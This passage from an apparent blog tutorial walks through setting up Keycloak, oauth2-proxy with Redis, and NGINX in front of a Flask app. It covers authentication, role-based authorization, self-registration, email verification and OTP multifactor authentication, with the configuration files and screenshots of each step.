0.0.0.0:8080:8080 \<br>  -e KC_BOOTSTRAP_ADMIN_USERNAME=&lt;CHOOSE A USERNAME&gt; \<br>  -e KC_BOOTSTRAP_ADMIN_PASSWORD=&lt;CHOOSE A PASSWORD&gt; \<br>  --name keycloak \<br>  quay.io/keycloak/keycloak:26.4.7 start-dev</pre><p>This command pulls the specified Keycloak image from the official container registry and launches it in detached mode. Port 8080 on the host is bound to port 8080 inside the container, making the administrative console and authentication endpoints reachable externally.</p><p>The KC_BOOTSTRAP_ADMIN_USERNAME and KC_BOOTSTRAP_ADMIN_PASSWORD environment variables are used to create a temporary administrative user at startup. This account provides initial access to the Keycloak admin console and is intended strictly for bootstrapping purposes. In a production environment, this would typically be replaced with a more controlled administrative workflow.</p><p>The start-dev flag runs Keycloak in development mode, simplifying startup requirements by disabling production hardening features such as HTTPS enforcement and external database configuration. This mode was appropriate for validating IAM flows and integrations while keeping the setup lightweight.</p><p>Once the container was running, the Keycloak admin console became accessible via port 8080. In environments without a local browser interface, such as a live server deployment, the console was accessed remotely using the server’s IP address and port 8080 from another system on the same network. This allowed full configuration and management of realms, clients, users, and authentication policies without direct console access on the host.</p><p>This completed the identity provider foundation upon which authentication, authorization, SSO, and governance controls were later built.</p><h3>Configuring Keycloak</h3><p>This section documents how Keycloak was configured to act as the central identity provider for the environment.</p><h4>Logging into the Admin Console</h4><p>After the Keycloak container was started, the admin console was accessed via port 8080 using the bootstrap credentials created during container startup. These credentials provide initial administrative access and are intended only for first time configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4_XG6s0eJZl6FqRHBGDrwg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B1CF6xf1eUS6-FPB7ya8Aw.png" /></figure><h4>Creating a Permanent Admin User</h4><p>The bootstrap admin account exists only to initialize the platform. Relying on it long term introduces operational and security risk because it bypasses normal identity lifecycle management.</p><p>To address this, a permanent administrative user was created inside Keycloak itself.</p><h4>Proceudre</h4><ul><li>Navigate to the Users section in the master realm.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iX9TPatmReg2ZiWe_pRAwA.png" /></figure><ul><li>Click Add User</li><li>Provide a username, toggle Email Verified to on (since we have not configured emial verifiction <strong><em>yet</em></strong>).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IVhU_5C-BQqBYoUoZBX6Ug.png" /></figure><ul><li>Click on Createto Save the user.</li><li>Navigate to the Credentials tab and set a password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L_gdoHSljckO2B5M3ma8TA.png" /></figure><ul><li>Disable temporary password to avoid forced reset on first login and click save</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UAO62pFVVCXdfiWAN3fxGA.png" /></figure><ul><li>Navigate to Role mapping → Assign Roles → Realm roles to assign realm admin privileges.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gQ5FG-YHJcV2TNwc9J3GaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yMYNvvq718R6Hfyq686GnA.png" /></figure><p>After this we can then signout from our temporary admin user and then log in with our just created permanent admin user and then delete the temp user <strong><em>after logging in</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9cObJBtEyEIGT6YF8Nilbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UDar2qfmLrljEDGQ8QGgtQ.png" /></figure><p>This ensures administrative access is governed by Keycloak’s own identity and role management rather than environment variables baked into container startup.</p><h4>Creating a Realm</h4><p>A realm in Keycloak represents an isolated security domain. It defines its own users, roles, clients, and authentication policies. In the context of this project, the realm acts as the identity boundary for the applications protected by NGINX and oauth2 proxy.</p><p>Using a dedicated realm prevents configuration sprawl and avoids coupling application identities with the master administrative domain (master realm which we are currently in)</p><h4>Procedure</h4><ul><li>Click the Manage realms selector in the top left of the console.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*banOJoXxfo4aOmdy6XE8ww.png" /></figure><ul><li>Select Create realm.</li><li>Provide a realm name aligned with the application environment.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GQlLGDuQq_nVOLJ9nWi4vQ.png" /></figure><ul><li>Click Create to create the realm.</li></ul><p>Now all subsequent users, clients, and authentication settings were configured inside this realm, and also if we exit the console and come back we need to navigate to this realm because the default login realm will be the master realm. Just click on the Manage Realm and then click on the name of the realm you just created</p><h4>Creating Users</h4><p>Users represent human identities that authenticate through the system. In this architecture, users authenticate through Keycloak and receive tokens that oauth2 proxy validates before allowing access to protected applications.</p><h4>Procedure</h4><ul><li>Navigate to Users within the newly created realm.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O-_cWtoMAK4qd_YJgFZ8TQ.png" /></figure><ul><li>Click Create new user.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oI7WjXcvEEWkJj7dK3eaUw.png" /></figure><p>Enter user details such as username and email and toggle “email verified” to on, since we have not setup email verification <strong><em>yet</em></strong></p><ul><li>Click on Create to create the user.</li><li>Set a password under the Credentials tab.</li><li>Disable temporary password if persistent credentials are required.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vgUp3sh2NFDMs_Tk8gmLMQ.png" /></figure><h4>Creating a Client</h4><p>A client represents an application or service that relies on Keycloak for authentication. In this project, oauth2 proxy is the primary client. It authenticates users through Keycloak and validates tokens on behalf of downstream services.</p><blockquote>Note: from the pictures you will notice that I labeled my client as “flask-app” because it is the app we want to protect but in reality and in this our setup it is oauth2-proxy that will be communicating with keycloak in the stead of the flask-app, so it is our primary client</blockquote><h4>Procedure</h4><p>Navigate to Clients in the realm.</p><ul><li>Click Create client.</li><li>Select OpenID Connect as the client type.</li></ul><blockquote>OpenID Connect was selected as the client protocol because it provides standardized identity tokens, supports SSO, integrates cleanly with oauth2 proxy, and is widely adopted across modern IAM architectures.</blockquote><p>Provide a Client ID (Take note of this cause we will be using it in our oauth2-proxy configuration)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t4a0unLzpCpszaNyo83q-g.png" /></figure><ul><li>Click Next</li><li>Under the “Capability Config” page that shows next toggle client authenticaton on and select “Standard flow” as the authentication flow</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0XBpyr7nLivaD7rPWeCxPg.png" /></figure><p>Standard flow was enabled for the client. This corresponds to the authorization code flow, which is the most secure and widely recommended OAuth flow for server side applications. It ensures tokens are issued only after successful user authentication and explicit redirection through the identity provider.</p><ul><li>Click Next</li></ul><p>Under the client login settings, several URLs were configured to tightly control authentication behavior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*obDWKAtwz6NLnrMO7QQSPQ.png" /></figure><ul><li>The <strong>Root URL</strong> defines the base URL of the application ecosystem protected by this client. It provides context for resolving relative paths.</li><li>The <strong>Home URL</strong> specifies where users are redirected after successful authentication when no specific redirect is requested.</li><li><strong>Valid redirect URIs</strong> define the exact endpoints that Keycloak is allowed to redirect users to after authentication. This prevents open redirect attacks and ensures tokens are only sent to trusted locations.</li><li><strong>Valid post logout redirect URIs</strong> define where users are sent after logging out, ensuring session termination does not redirect users to untrusted endpoints.</li><li><strong>Web origins</strong> define which origins are allowed to make browser based requests to the client. This controls cross origin access and protects against unauthorized token usage.</li></ul><p>Each of these settings was explicitly configured to align with the oauth2 proxy callback endpoint and the NGINX protected application URLs.</p><h4>Capturing Client Credentials</h4><p>After creating the client, the Credentials tab was opened and the client secret was recorded. This secret, together with the client ID, establishes trust between oauth2 proxy and Keycloak. Without this trust relationship, oauth2 proxy would be unable to authenticate users or validate tokens issued by Keycloak.</p><p>With this completed, Keycloak was fully prepared to act as the identity authority for authentication, SSO, and downstream authorization.</p><h3>Installation of Oauth2-proxy and Redis</h3><p>oauth2-proxy and Redis were deployed together using Docker Compose to ensure tight coupling between authentication middleware and session storage. This approach allowed both components to be versioned, started, and managed as a single unit while keeping their configuration explicit and reproducible.</p><p>Before deploying the services, a cryptographically strong cookie secret was generated. This secret is used by oauth2 proxy to encrypt and sign session cookies, preventing tampering and replay attacks.</p><pre>python3 -c &#39;import os,base64; print(base64.urlsafe_b64encode(os.urandom(16)).decode())&#39;</pre><p>The generated value was stored and later referenced in the oauth2 proxy configuration. This step is essential for secure session handling, especially when implementing server side session storage.</p><p>A docker-compose.yml file was then created to define both Redis and oauth2 proxy:</p><pre>version: &#39;3&#39;<br>services:<br>  redis:<br>    image: redis:7-alpine<br>    container_name: oauth2-redis<br>    restart: unless-stopped<br>    command: [&quot;redis-server&quot;, &quot;--save&quot;, &quot;&quot;, &quot;--appendonly&quot;, &quot;no&quot;]<br><br>  oauth2-proxy:<br>    image: quay.io/oauth2-proxy/oauth2-proxy:latest #v7.13.0 at the time of writing<br>    container_name: oauth2-proxy<br>    ports:<br>      - &quot;4180:4180&quot;<br>    depends_on:<br>      - redis<br>    command:<br>      - --provider=oidc<br>      - --client-id=&lt;YOUR-CLIENT-ID&gt;<br>      - --client-secret=&lt;YOU-CLIENT-SECRET&gt;<br>      - --oidc-issuer-url=http://&lt;KEYCLOAK-IP&gt;:8080/realms/&lt;YOUR-REALM-NAME&gt;<br>      - --cookie-secret=&lt;THE-COOKIE-SECRET-YOU-GENERATED-ABOVE&gt;<br>      - --cookie-secure=false<br>      - --redirect-url=http://&lt;OAUTH2-PROXY-IP&gt;/oauth2/callback<br>      - --email-domain=*<br>      - --http-address=0.0.0.0:4180<br>      - --reverse-proxy=true<br>      - --upstream=static://200<br>      - --whitelist-domain=172.20.10.3:8080<br>      - --session-store-type=redis<br>      - --redis-connection-url=redis://oauth2-redis:6379/0<br>      - --pass-access-token=true<br>      - --set-authorization-header=true<br>      - --pass-authorization-header=true<br>      - --set-xauthrequest=true<br>      - --pass-user-headers=true<br>      - --cookie-name=_oauth2_proxy<br>      - --cookie-domain=172.20.10.3<br>      - --cookie-path=/</pre><p>In this configuration, <strong>Redis</strong> was deployed as a lightweight in memory datastore dedicated to session persistence. Persistence and append only files were disabled to keep Redis focused purely on ephemeral session data.</p><p>Oauth2-proxy was configured to use OpenID Connect as its authentication provider and to delegate identity verification to Keycloak. The client ID and client secret identify oauth2 proxy as a client within the Keycloak realm, while the issuer URL defines the authority that signs and validates tokens.</p><p>The cookie secret secures session data, while cookie secure was disabled to allow HTTP access during development. The redirect URL defines where the identity provider returns users after successful authentication. Allowing all email domains ensured flexibility during testing.</p><p>The reverse proxy flag enables oauth2 proxy to operate correctly behind NGINX</p><p>Redis was explicitly configured as the session store. This design avoids oversized cookies, improves reliability across restarts, and supports horizontal scaling without losing authentication state.</p><p>Header related options were enabled to forward access tokens and identity headers downstream. This allows backend applications to perform authorization decisions without handling OAuth flows themselves.</p><p>Cookie naming, domain, and path were explicitly defined to control session scope and support consistent behavior across applications under the same domain.</p><p>Once the configuration was complete, both services were started using:</p><pre>sudo docker-compose up -d</pre><p>This command launched Redis and oauth2 proxy in the background, establishing the authentication middleware layer that sits between NGINX and backend applications. With this in place, session management, token handling, and identity propagation were fully abstracted away from application code.</p><p>This completed the deployment of the authentication middleware and session infrastructure.</p><h3>Setting up the Flask App</h3><p>At the application layer, this project was intentionally designed to remain flexible. Any Flask application can be used in this architecture, including an existing backend, provided it is capable of consuming the identity context injected by oauth2 proxy and NGINX.</p><p>At a minimum, the backend must be able to read trusted identity headers forwarded upstream and decode and verify the JWT access token issued by the identity provider. This enables the application to make authorization decisions based on roles, scopes, or other claims without implementing authentication logic itself. Failure to correctly handle these headers or validate tokens would undermine the security guarantees provided by the upstream IAM components.</p><p>A link to the repository containing the full Flask application is attached below. If you wish to replicate or extend the project you can either adapt your own Flask backend to meet the same requirements or directly use the provided implementation as a reference.</p><p><a href="https://kizerh.notion.site/IAM-Project-Repo-2cbb325e196c8094b768d6905bea7410?pvs=143">IAM Project Repo | Notion</a></p><h3>Installing NGINX</h3><p>if you don’t have NGINX already installed:</p><pre>sudo apt update &amp;&amp; sudo apt install nginx</pre><p>to start NGINX</p><pre>sudo systemctl start nginx</pre><p>to enable it to start automatically at boot</p><pre>sudo systemctl enable nginx </pre><h3>Configuring NGINX</h3><p>NGINX was configured as the policy enforcement gateway and single entry point for all inbound traffic. Rather than creating a separate site file, the default configuration file located at /etc/nginx/sites-available/default was intentionally reused.</p><p>The following configuration was applied:</p><pre>limit_req_zone $binary_remote_addr zone=global_ratelimit:10m rate=10r/m;<br>limit_req_zone $http_x_email zone=user_ratelimit:10m rate=10r/m;<br>limit_conn_zone $binary_remote_addr zone=conn_limit:10m;<br>limit_req_status 429;<br><br>server {<br>    listen 80;<br>    server_name 172.20.10.3;<br>    limit_req zone=global_ratelimit burst=5 nodelay;<br>    limit_conn conn_limit 10;<br><br>    location /oauth2/ {<br>        proxy_pass http://127.0.0.1:4180;<br>        proxy_set_header Host $host;<br>        proxy_set_header X-Real-IP $remote_addr;<br>        proxy_set_header X-Auth-Request-Redirect $request_uri;<br>    }<br><br>    location = /oauth2/auth {<br>        internal;<br>        proxy_pass http://127.0.0.1:4180/oauth2/auth;<br>        proxy_set_header Host $host;<br>        proxy_set_header X-Real-IP $remote_addr;<br>        proxy_set_header X-Forwarded-Uri $request_uri;<br>        proxy_set_header Content-Length &quot;&quot;;<br>        proxy_pass_request_body off;<br>    }<br><br>    location = /oauth2/sign_in {<br>        proxy_pass http://127.0.0.1:4180/oauth2/start;<br>        proxy_set_header Host $host;<br>        proxy_set_header X-Real-IP $remote_addr;<br>        proxy_set_header X-Scheme $scheme;<br>    }<br><br>    location = /oauth2/sign_out {<br>        proxy_pass http://127.0.0.1:4180/oauth2/sign_out;<br>        proxy_set_header Host $host;<br>        proxy_set_header X-Real-IP $remote_addr;<br>        proxy_set_header X-Scheme $scheme;<br>    }<br><br>    location /admin {<br>        auth_request /oauth2/auth;<br>        limit_req zone=user_ratelimit burst=3 nodelay;<br><br>        auth_request_set $token $upstream_http_x_auth_request_access_token;<br>        proxy_set_header X-Access-Token $token;<br>        proxy_set_header X-Email $upstream_http_x_auth_request_email;<br>        proxy_set_header X-User $upstream_http_x_auth_request_user;<br>        proxy_set_header Host $host;<br><br>        proxy_pass http://127.0.0.1:5000;<br>    }<br><br>    location / {<br>        auth_request /oauth2/auth;<br>        error_page 401 = /oauth2/sign_in;<br>        auth_request_set $user $upstream_http_x_auth_request_user;<br>        auth_request_set $email $upstream_http_x_auth_request_email;<br>        auth_request_set $token $upstream_http_x_auth_request_access_token;<br>        proxy_set_header X-User $user;<br>        proxy_set_header X-Email $email;<br>        proxy_set_header X-Access-Token $token;<br><br>        proxy_pass http://127.0.0.1:5000/;<br>    }<br>}</pre><h4>Rate Limiting and Connection Control</h4><p>Three layers of traffic control were implemented to protect the application and identity infrastructure.</p><ul><li>The global request rate limit restricts the number of requests per IP address. This acts as a baseline defense against brute force attempts, automated scanning, and denial of service patterns before authentication even occurs.</li><li>The per user rate limit is applied only after authentication. It uses the authenticated email header as the key, allowing legitimate users to be throttled individually without affecting others. This is particularly useful for protecting sensitive routes such as administrative endpoints.</li><li>The connection limit restricts the total number of simultaneous connections per IP address. This prevents a single client from exhausting server resources through connection flooding.</li></ul><p>The burst option allows short traffic spikes without immediate blocking, while nodelay ensures excess requests are rejected rather than queued. A status code of 429 is returned when limits are exceeded, making rate enforcement explicit and observable.</p><h4>Authentication and Identity Enforcement Flow</h4><p>The /oauth2/ location exposes oauth2 proxy’s public endpoints. All authentication related traffic is forwarded to oauth2 proxy using proxy_pass. Headers such as Host and X-Real-IP preserve request context and client identity.</p><p>The /oauth2/auth location is marked as internal. This endpoint is never exposed to users directly. It is called by NGINX using the auth_request directive to validate whether a request is authenticated. oauth2 proxy responds with headers that indicate authentication status and identity attributes.</p><p>The sign in and sign out endpoints map browser initiated login and logout flows to oauth2 proxy. These endpoints handle redirects to Keycloak and session termination without exposing backend services.</p><h4>Protected Application Routes</h4><p>For protected routes, NGINX uses auth_request to enforce authentication before proxying traffic. If authentication fails, the request is intercepted and redirected to the login endpoint.</p><p>The auth_request_set directive extracts identity attributes returned by oauth2 proxy, such as user name, email, and access token. These values are stored in NGINX variables and then forwarded to the backend using proxy_set_header.</p><p>This mechanism ensures the Flask application receives trusted identity context without handling OAuth flows itself. The backend can then focus purely on authorization and business logic.</p><p>The proxy_pass directive forwards validated requests to the Flask application running locally. NGINX remains the only externally exposed component, effectively shielding backend services from direct access.</p><p>With this configuration in place, NGINX enforces authentication, rate limiting, and routing consistently across the environment, acting as the control plane for access into the application ecosystem.</p><h3>Authentication Demo</h3><p>To validate the end to end authentication flow, access to the application was initiated directly from a web browser using the IP address of the host running NGINX. The exact IP address depends on the deployment scenario. In this case, NGINX was hosted on a live server operating in a bridged network configuration, so the server’s IP address was accessed from another system within the same network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zMxg48vokZuXovf8G3l9rw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w631ik23IHqdTZou0f7DiA.png" /></figure><p>From the user’s perspective, the browser was redirected straight to the Keycloak login page. Behind the scenes, however, the request followed a deliberate and controlled path. The initial HTTP request first reached NGINX, which immediately enforced authentication using the auth_request mechanism. NGINX then delegated the authentication check to oauth2 proxy. The oauth2 proxy endpoint itself was not exposed to the user due to the routing and mappings defined in the NGINX configuration. This behavior can be confirmed by inspecting the oauth2 proxy and NGINX logs.</p><p>oauth2 proxy initiated an OpenID Connect authentication flow by redirecting the user to Keycloak. At this point, Keycloak acted as the authoritative identity provider, presenting the login interface and validating the supplied credentials against the configured realm.</p><p>Once valid credentials were provided, Keycloak issued an authorization code and redirected the browser back to oauth2 proxy’s callback endpoint. This is a core part of the OpenID Connect standard flow. oauth2 proxy then exchanged the authorization code directly with Keycloak for a set of tokens. This exchange occurred server to server and included the access token, ID token, and related metadata.</p><p>After receiving and validating the tokens, oauth2 proxy established an authenticated session for the user. The session state was stored in Redis, allowing the authentication state to persist without overloading browser cookies and enabling resilience across restarts.</p><p>oauth2 proxy then returned control to NGINX along with trusted identity headers derived from the validated tokens. These headers included user identifiers and the access token itself. When NGINX received the response, it recognized the request as authenticated and allowed it to proceed. The request was then proxied to the Flask application with the identity headers attached.</p><p>At this point, the Flask application received a fully authenticated request without ever handling credentials or OAuth flows directly. Successful authentication resulted in the application being rendered in the browser. If authentication had failed at any stage, NGINX would have intercepted the request and redirected the user back to the login flow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*psGLfHpqRo8g0n8NQWKn4w.png" /></figure><p>This sequence confirmed that authentication enforcement, token exchange, session handling, and request propagation were functioning correctly across all components, demonstrating a clean separation between access control, identity management, and application logic.</p><h4>Logs of the flow discussed above</h4><h4>NGINX logs</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HVEI4xsrDcB_nOIWo28grA.png" /></figure><h4>oauth2-proxy logs</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bv2hlwJHp51DfRjUgozPZw.png" /></figure><h4>keycloak logs</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iZlZFlkkYxBEnnf5tKK_rQ.png" /></figure><h4>Flask App Logs</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ym_anXk-lUG_jOR5ynW6sA.png" /></figure><h3>Authorization Configuration</h3><p>With authentication fully enforced at the gateway level, the next focus was authorization. In this architecture, authorization responsibilities are deliberately split. Keycloak is responsible for defining and issuing roles as part of the identity token, while the Flask application is responsible for interpreting those roles and enforcing access decisions at the application layer.</p><p>This separation ensures that identity and role management remain centralized, while business logic and resource level authorization stay close to the application.</p><h4>Setting up and Mapping Roles in Keycloak</h4><p>Roles were created at the client level because the authorization requirements are specific to this application. Client roles allow fine grained access control without polluting the realm with application specific permissions.</p><h4>Procedure</h4><ul><li>Log in to the Keycloak admin console and switch to the creaed realm.</li><li>Navigate to Clients and select the client created that we want to set the roles to.</li><li>Open the Roles tab under the client.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B04AK8bLYZrYL3K4ef2ikA.png" /></figure><ul><li>Click Create role</li><li>Enter the role name that you would wish to create and save.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lOc-5MVB7Qt69aVWHGAeOg.png" /></figure><blockquote>Note: This name should correspond to the name you use in your backend authorization logic e.g</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ssgAihqhUiQRtG76gNTsg.png" /></figure><p>Based on my setup this role now represents elevated privileges within the application, specifically access to administrative endpoints, like/admin</p><p>We now need to assing this role to users that we want to have this role sent in thier access tokens. To assign the role to a user</p><ul><li>Navigate to Users in the same realm (you can create more users using the same procedure we used before)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Z4v-XO7zCgJukzWQDE9KA.png" /></figure><ul><li>Select the user account, for example abdul.</li><li>Open the Role mapping tab, then click on Assign Role</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v1Hm02KmFBK2kBOulXszqQ.png" /></figure><ul><li>Assign the created role (app1-admin ) role to the user.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VkVRbHJETH39I_kmIcAmlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wVkhVPsCTHy2PPW-H6BciA.png" /></figure><p>The role is now embedded into the user’s token whenever they authenticate. No additional configuration is required for role propagation, as OpenID Connect automatically includes client roles in token claims when properly configured.</p><p>The other users were left without the app1-admin role to validate authorization boundaries.</p><h4>Authorization Enforcement in the Application</h4><p>When users authenticate, oauth2 proxy validates their tokens and forwards identity headers to NGINX, which then passes them to the Flask application. These headers include the access token issued by Keycloak.</p><p>The Flask application decodes and verifies the JWT access token and extracts role claims. Authorization decisions are made based on the presence or absence of specific roles rather than trust in client side input. This ensures that role enforcement remains cryptographically verifiable and centrally governed.</p><h3>Authorization Demo</h3><p>To validate the setup, both users accessed the application through the same NGINX entry point.</p><p>The user abdul, who was assigned the app1-admin role, successfully authenticated and accessed the main application. When navigating to the /admin endpoint, access was granted. The Flask application verified the token, confirmed the presence of the app1-admin role, and allowed the request to proceed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sB5CgfPB9ahynDkEXDm-0w.png" /></figure><p>The user kiza, who did not have the app1-admin role, was also able to authenticate successfully and access the general application routes. However, when attempting to access the /admin endpoint, authorization was denied. The request reached the application, the token was validated, but the required role was missing, resulting in restricted access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*crRd_qM42MXGvvNl-a3Ifg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ipPXlUHTihFTTAFcprOI9A.png" /></figure><p>This behavior confirmed that authentication and authorization were operating independently but cohesively. All users were authenticated centrally through Keycloak, while role based access control was enforced strictly at the application layer based on trusted token claims.</p><h3>User Registration</h3><p>Up to this point, all users in the system had been provisioned manually by an administrator through the Keycloak console. While this approach is suitable for tightly controlled internal systems, it does not scale well for applications that need to support external or self onboarding users.</p><p>Keycloak provides built in features that allow users to create and manage their own accounts while still remaining fully governed by the realm’s security policies.</p><p>To enable user self registration, the configuration was applied at the realm level.</p><ul><li>Log in to the Keycloak admin console.</li><li>Switch to the realm where the application client and users are defined.</li><li>Navigate to Realm settings.</li><li>Open the Login section.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_6VDJKlwDYG3TbapqR7OtQ.png" /></figure><p>The Login section controls how the authentication interface behaves and what actions are available to end users during authentication.</p><p>Within this section, the following options were enabled.</p><p><strong>User registration</strong> was enabled to allow unauthenticated users to create accounts directly from the login screen. This removes the need for manual user creation while still allowing administrators to control post registration access through roles and policies.</p><p><strong>Forgot password</strong> was enabled to allow users to recover access without administrative intervention. This improves usability while maintaining security through Keycloak’s verification workflows.</p><h3>Implementing Mail Verification</h3><p>Email verification was introduced to strengthen account security, support reliable account recovery, and establish a trusted communication channel between the identity platform and users. By verifying ownership of email addresses, the system ensures that password resets, security notifications, and administrative messages are delivered only to legitimate users.</p><p>All email related configuration in Keycloak is performed at the realm level, ensuring consistent behavior across all users and clients within the realm.</p><h4>Configuring Email Settings</h4><p>While logged into the Keycloak admin console, the realm containing the application users and client was selected. From there, email settings were configured under:</p><ul><li>Realm settings → Email</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VNq7FMAhFapA48KhyuAQMw.png" /></figure><p>Each field in this section defines how Keycloak sends outbound email.</p><ul><li>The <strong>From</strong> field specifies the sender address that appears in user inboxes.</li><li>The <strong>Reply</strong> to field defines where user replies are sent.</li><li>The <strong>Host</strong> field specifies the SMTP server Keycloak uses to send emails. In this project, a Gmail SMTP service was used.</li><li>The <strong>Port</strong> defines the network port used to communicate with the SMTP server.</li><li><strong>Username</strong> represents the email account Keycloak authenticates as when sending messages.</li><li><strong>Password</strong> is the credential Keycloak uses to authenticate to the SMTP service. Since Gmail restricts direct password usage, an application specific password was generated and used instead (if you want to use gmail smtp too, check their website on how to create this) This allows Keycloak to send emails securely without exposing the primary account credentials.</li><li>Additional options such as <strong>SSL</strong> or <strong>StartTLS</strong> were enabled as required to ensure email traffic is encrypted in transit.</li></ul><p>Once these fields were completed and saved, Keycloak was able to send transactional emails on behalf of the realm.</p><h4>Enforcing Email Verification</h4><p>To ensure all users verify their email addresses, email verification was set as a required action.</p><p>This was configured under:</p><ul><li>Authentication (side panel) → Required actions (Tab)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rehnrE-Mh2j-3U_HfBvRfg.png" /></figure><p>The Verify email action was enabled and marked as a default required action. This ensures that any newly created user through self registration, must verify their email address before gaining full access.</p><h3>Multifactor Authentication</h3><p>Multifactor authentication was implemented to strengthen account security beyond password based access. By requiring something the user knows and something the user possesses, MFA significantly reduces the risk of credential compromise, phishing attacks, and unauthorized access using leaked passwords. In an identity centric architecture, MFA serves as a critical control that raises the assurance level of every authenticated session.</p><p>Keycloak provides native support for one time password based MFA, allowing enforcement to be applied consistently across users and applications.</p><h4>Configuring OTP Policy</h4><p>While logged into the Keycloak admin console, the realm containing the application users and client was selected. MFA configuration was performed at the realm level to ensure uniform enforcement.</p><p><strong>Navigation path:</strong><br>Authentication (side panel) → Policies (Tab) → OTP policy (Sub Tab)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qwxTRH03YrnAD1sqk-2pRw.png" /></figure><p>The OTP policy defines how one time passwords are generated and validated. Parameters such as algorithm, number of digits, token lifespan, and reuse prevention were configured to align with organizational security requirements. These settings determine the strength and usability of the second authentication factor. Set and click Save</p><h4>Enforcing OTP for New Users</h4><p>To ensure that all newly created users are required to enroll in MFA, OTP configuration was enabled as a default required action.</p><p><strong>Navigation path:</strong><br>Authentication → Required actions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MIEmPkVM_BY3faq_mDrF9A.png" /></figure><p>The Configure OTP action was toggled on and set as a default action. This ensures that any user who registers or is created after this point is prompted to enroll an authenticator device during their first login. Until OTP setup is completed, access remains restricted.</p><p>This guarantees that MFA enrollment becomes part of the normal account onboarding process rather than an optional enhancement.</p><h4>Enforcing OTP for Existing Users</h4><p>Users created before MFA enforcement was enabled are not automatically subject to the new requirement. To address this, MFA was explicitly applied to existing accounts.</p><p><strong>Navigation path:</strong><br>Users (side panel) → select user → Details (tab)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1xVYNY-7jqNWWk1p-ZWVHA.png" /></figure><p>From the Required user actions dropdown, Configure OTP was selected for each applicable user. This forces the user to enroll an authenticator device at their next login.</p><p>With these steps completed, MFA was fully enforced across the realm. All users, new and existing, are required to authenticate using both their credentials and a time based one time password, significantly improving the overall security of the IAM environment.</p><h3>Full New User Registration Initiated from the Login Page</h3><p>At this point, user self-registration, multifactor authentication, and email verification have all been enabled in Keycloak. To validate that these features work together as expected, a full end-to-end registration flow was tested starting directly from the login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d9caRcL8We2oXn-xpXloxQ.png" /></figure><p>From the Keycloak login screen, the <strong>Register</strong> option was selected. This displayed the registration form where a new user provided the required details, including username, password, email address, first name, and last name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hWS_AnI819uAS5Mj31CRzQ.png" /></figure><p>After submitting the registration form, the user was immediately prompted to configure an MFA device. An authenticator application was enrolled, and a one-time password generated by the device was entered to complete the MFA setup. This step was enforced because <strong>Configure OTP</strong> was set as a required default action.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-OavdVpA5AkUXS9KZtaikw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*3_9Gxs3uXewhp9EOT45dVQ.png" /></figure><p>Once MFA enrollment was successful, Keycloak automatically sent an email verification message to the registered email address. The email contained a verification link generated by Keycloak to confirm ownership of the email account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PR8DAvXNr7RZoWQ6sp4OtQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YrtebCEEMA_KmHS0HwEJuw.png" /></figure><p>After clicking the verification link, the user’s email address was marked as verified. With all required actions completed from registration, MFA setup, and email verification, the user was finally granted access and redirected to the application.</p><figure><img alt="" 